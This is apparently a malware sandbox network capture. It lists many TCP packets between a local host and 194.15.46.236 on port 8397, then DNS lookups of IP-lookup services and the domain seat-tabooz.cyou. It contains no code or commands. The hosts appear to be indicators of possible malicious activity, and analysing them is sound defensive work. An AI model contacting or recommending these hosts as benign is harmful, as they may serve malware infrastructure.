Nov 24, 2024 12:10:12.992058039 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.992104053 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.992795944 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.992844105 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.992883921 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.993959904 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.994066000 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.994107962 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.995223045 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.995342970 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.995378971 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.996491909 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.996613979 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.996666908 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.997715950 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.997834921 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.997878075 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.998982906 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.999087095 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.999125957 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.000238895 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.000322104 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.000361919 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.001503944 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.001614094 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.001662970 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.002744913 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.002856970 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.002897024 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.003995895 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.004093885 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.004127979 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.005248070 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.005352974 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.005399942 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.006520987 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.006685019 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.006730080 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.007741928 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.007858038 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.007899046 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.008996964 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.009121895 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.009169102 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.010255098 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.010325909 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.010370016 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.011521101 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.011616945 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.011671066 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.012761116 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.012867928 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.012907028 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.014025927 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.014148951 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.014193058 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.015269995 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.015389919 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.015434980 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.016561985 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.016710997 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.016752005 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.017780066 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.017901897 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.017947912 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.019052029 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.019166946 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.019211054 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.020401955 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.020518064 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.020556927 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.021564007 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.021780968 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.021833897 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.022834063 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.022958040 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.023005009 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.024046898 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.024153948 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.024200916 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.025305033 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.025408030 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.025454044 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.026578903 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.026684046 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.026729107 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.027816057 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.027932882 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.027976990 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.029074907 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.029174089 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.029217958 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.030306101 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.030406952 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.030575991 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.031558037 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.031697989 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.031738997 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.032891989 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.032962084 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.032998085 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.034092903 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.034208059 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.034251928 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.035346985 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.035448074 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.035494089 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.036588907 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.036715984 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.036760092 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.037858009 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.037981033 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.038026094 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.039124966 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.039261103 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.039304972 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.040388107 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.040452003 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.040496111 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.041605949 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.041728020 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.041769028 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.042850971 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.042975903 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.043015003 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.044102907 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.044255018 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.044296980 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.045380116 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.045500040 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.045542002 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.046622992 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.046751976 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.046796083 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.047903061 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.048010111 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.048049927 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.049149990 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.093285084 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.193912983 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.193996906 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.194108963 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.194183111 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.194298029 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.194350004 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.195416927 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.195525885 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.195584059 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.196660995 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.196777105 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.196830034 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.197920084 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.198026896 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.198081017 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.199162006 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.199282885 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.199348927 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.200527906 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.200606108 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.200659990 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.201695919 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.202039957 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.202095985 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.202944040 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.203054905 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.203114033 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.204183102 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.204360962 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.204410076 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.205471039 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.205600977 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.205655098 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.206712961 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.206818104 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.206882954 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.207931995 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.208034992 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.208086014 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.209191084 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.209302902 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.209368944 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.210531950 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.210547924 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.210608006 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.211688995 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.211807966 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.212954998 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.213009119 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.213056087 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.214723110 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.214737892 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.215449095 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.215575933 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.216706991 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.216876030 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.219521046 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.219544888 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.219561100 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.219574928 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.220537901 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.220839024 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.221936941 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.222121000 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.223082066 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.223292112 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.223639965 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.224538088 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.224553108 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.224610090 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.225738049 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.225920916 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.226134062 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.226983070 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.227169037 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.227226973 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.228235960 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.228430986 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.228523016 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.229399920 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.229583025 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.229636908 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.230484009 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.230623960 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.230674028 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.232065916 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.232083082 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.232135057 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.233077049 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.233237982 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.233300924 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.234695911 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.234915018 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.234967947 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.235517979 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.235640049 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.235692024 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.237621069 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.237804890 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.237921000 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.238260984 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.238276958 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.238326073 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.239634991 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.239650011 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.239708900 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.240644932 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.240828991 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.240878105 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.241839886 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.242017031 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.242079020 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.243118048 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.243279934 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.243360043 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.244409084 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.244606018 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.244669914 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.245698929 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.245881081 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.246037006 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.246782064 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.246989012 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.247113943 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.248248100 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.248262882 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.248317003 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.249445915 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.249638081 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.249691963 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.250804901 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.250821114 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.250883102 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.251991987 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.252007961 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.252058029 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.253190041 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.253204107 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.253264904 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.254411936 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.254596949 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.254652023 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.255572081 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.255672932 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.255729914 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.256824970 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.256938934 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.256999016 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.259643078 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.259658098 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.259673119 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.259705067 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.312058926 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.406218052 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.406261921 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.406366110 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.406766891 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.406857967 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.406905890 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.407685995 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.407799006 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.408961058 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.409013987 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.409043074 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.410200119 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.410264969 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.410305023 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.410348892 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.411617041 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.411660910 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.411712885 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.412712097 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.412766933 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.412817001 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:13.413965940 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.414066076 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:13.415281057 CET	8397	49733	194.15.46.236	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 24, 2024 12:10:24.590966940 CET	192.168.2.4	1.1.1.1	0x8a9c	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:10:26.557846069 CET	192.168.2.4	1.1.1.1	0xc138	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:12:27.085455894 CET	192.168.2.4	1.1.1.1	0x15a4	Standard query (0)	seat-tabooz.cyou	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 24, 2024 12:10:24.728703976 CET	1.1.1.1	192.168.2.4	0x8a9c	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:10:24.728703976 CET	1.1.1.1	192.168.2.4	0x8a9c	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:10:24.728703976 CET	1.1.1.1	192.168.2.4	0x8a9c	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:10:26.695403099 CET	1.1.1.1	192.168.2.4	0xc138	No error (0)	ipinfo.io	34.117.59.81	A (IP address)	IN (0x0001)	false
